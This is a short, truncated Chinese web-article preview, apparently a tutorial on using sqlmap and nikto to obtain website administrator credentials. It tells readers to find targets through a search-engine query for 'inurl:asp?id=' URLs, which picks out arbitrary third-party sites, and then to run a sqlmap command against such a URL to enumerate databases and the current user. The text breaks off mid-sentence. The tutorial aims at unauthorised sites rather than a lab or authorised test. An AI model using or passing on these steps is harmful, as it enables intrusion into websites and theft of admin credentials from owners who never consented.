sqlmap+nikto进行渗透测试获取管理员帐号密码操做实例

首先，在百度搜索输入框输入：inurl:asp?id=，在搜索列表中选择链接相似以下的url：http://域名/about.asp?id=325。web 其次，打开BT5，打开sqlmap，执行以下格式命令：./sqlmap.py -u "http://域名/about.asp?id=325" --dbs --current-user，执行命令以下截图：sql 该命令是获取web服务操做系统、w

>>阅读原文<<